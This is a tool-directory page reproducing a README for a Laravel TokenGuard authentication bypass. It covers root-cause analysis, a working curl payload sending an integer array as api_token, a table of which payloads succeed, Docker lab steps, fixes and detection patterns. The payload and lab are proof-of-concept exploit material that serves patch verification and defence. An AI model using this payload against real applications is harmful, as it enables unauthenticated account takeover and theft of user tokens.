Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-114509-laravel-tokenguard — Proof of concept, root-cause analysis, and Docker lab for CVE-2026-114509, an unauthenticated Laravel TokenGuard authentication bypass on MySQL/MariaDB leading to account takeover. | Kitploit
Tools/GitHubGitHub/arioveisa/cve-2026-114509-laravel-tokenguard
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAuthenticationLabs & Practice
GitHubarioveisa/cve-2026-114509-laravel-tokenguard

cve-2026-114509-laravel-tokenguard

Proof of concept, root-cause analysis, and Docker lab for CVE-2026-114509, an unauthenticated Laravel TokenGuard authentication bypass on MySQL/MariaDB leading to account takeover.

View Repository
28 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    379
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    288

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-114509 — Laravel TokenGuard Authentication Bypass

Proof of concept, analysis, and reproducible lab for CVE-2026-114509, an unauthenticated authentication bypass in Laravel's TokenGuard that leads to account takeover when the application runs on MySQL or MariaDB.

FieldValue
CVE IDCVE-2026-114509
AdvisoryGHSA-f9x3-7vq9-cph6
CVSS v4.09.2 (Critical) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H
CWECWE-1287 (Improper Validation of Specified Type of Input), CWE-287 (Improper Authentication)
Affectedlaravel/framework < 12.68.0, >= 13.0.0, < 13.29.0
Fixed in12.68.0, 13.29.0
VectorPOST/GET JSON body with api_token as an array of integers
ImpactAuthentication bypass, account takeover, credential disclosure

TL;DR

A TokenGuard configured with driver => token and hash => false accepts a non-string credential. Sending {"api_token":[0]} as a JSON body makes Laravel build whereIn('api_token', [0]). MySQL then implicitly casts the varchar column to an integer, so every token that does not start with a digit evaluates to 0 and matches. The first row of the users table is returned to an unauthenticated attacker.

curl -s -X GET http://target/api/user \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}

Root cause

Three independent layers must all be present for exploitation.

Layer 1 — The guard does not validate the credential type

src/Illuminate/Auth/TokenGuard.php (v11.43.0, vulnerable build):

$token = $this->getTokenForRequest();

if (! empty($token)) {
    $user = $this->provider->retrieveByCredentials([
        $this->storageKey => $this->hash ? hash('sha256', $token) : $token,
    ]);
}

Only empty() is checked. empty([0]) is false because the array holds one element, so the array passes straight through to the provider. There is no is_string() guard.

Layer 2 — The provider expands arrays into an IN clause

src/Illuminate/Auth/EloquentUserProvider.php:

foreach ($credentials as $key => $value) {
    if (is_array($value) || $value instanceof Arrayable) {
        $query->whereIn($key, $value);
    } elseif ($value instanceof Closure) {
        $value($query);
    } else {
        $query->where($key, $value);
    }
}

An array is interpreted as a list of candidate values, so the query becomes:

select * from `users` where `api_token` in (0)

Layer 3 — MySQL and MariaDB coerce the comparison

api_token is a varchar column. Comparing a string column against an integer forces an implicit cast of the column value to a number:

select cast('admin_secret_token_12345' as unsigned);  -- 0
select cast('abc' as unsigned);                        -- 0
select cast('1abc' as unsigned);                       -- 1

Every token beginning with a letter casts to 0, therefore where api_token in (0) matches. PostgreSQL and SQLite reject or misbehave on this comparison, which is why the vulnerability is specific to MySQL-family databases.


Exploitation matrix

Measured against the lab in this repository (Laravel 11.43.0, MySQL 8.0.46).

PayloadTransportHTTPResult
(none)—401rejected
Bearer wrong_tokenheader401rejected
?api_token=wrongquery string401rejected
?api_token[]=0query string401rejected — always a string
{"api_token":0}JSON body401rejected — empty(0) is true
{"api_token":["0"]}JSON body401rejected — string vs varchar
{"api_token":[1]}JSON body401no row with cast value 1
{"api_token":[0.5]}JSON body401float cast mismatch
{"api_token":[0]}JSON body200bypass
{"api_token":[0,1]}JSON body200bypass

The payload must arrive as a genuine typed array. Query strings and form encoding always produce strings, which is why the JSON body is required.


Reproduction

A complete Docker lab is included. See docs/reproduction.md for the full walkthrough, or run it directly:

docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed

Add the lab hostname to /etc/hosts:

echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts

Then verify:

./poc.sh http://angkasagroup.co.id

Impact

  • Unauthenticated access to every route protected by auth:api
  • The matched user object is returned in full, including the plaintext api_token when hash => false, which makes the compromise persistent
  • On applications where the first row of users is an administrator, the bypass grants administrative privileges
  • Chained with any admin-only endpoint, the result is full data extraction

Remediation

Upgrade

composer require laravel/framework:^12.68

The fix is a single type check:

if (is_string($token) && ! empty($token)) {

Temporary mitigations

  1. Set 'hash' => true on the API guard. Hashed storage turns the array into a TypeError instead of a match.
  2. Replace TokenGuard with Laravel Sanctum or Passport, which resolve tokens through a dedicated hash index rather than an unconstrained whereIn.
  3. Add middleware that rejects any request where api_token is not a string:
if (! is_string(request()->input('api_token'))) {
    abort(401);
}
  1. Restrict database access so authentication queries cannot reach a MySQL instance with loose type coercion.

Detection

Application logs will show authentication succeeding without a preceding login. Look for JSON request bodies where api_token is an array rather than a string:

"api_token":[0]
"api_token":[1]

At the database layer, enable the general query log and alert on:

where `api_token` in (0)

Repository layout

.
├── README.md              this document
├── docs/
│   ├── CVE-2026-114509.pdf    rendered analysis (this README)
│   └── reproduction.md        step-by-step lab walkthrough
├── docker-compose.yml     nginx + php-fpm + mysql lab
├── docker/
│   ├── Dockerfile
│   ├── nginx.conf
│   └── php.ini
├── src/                   Laravel 11.43.0 application
└── poc.sh                 verification script

Disclaimer

This repository exists for defensive research, patch verification, and authorized security testing. Run it only against systems you own or have explicit written permission to test. Unauthorized access to computer systems is a criminal offense in most jurisdictions.

The lab binds to 127.0.0.1 and is intended for local use only.

Download Tool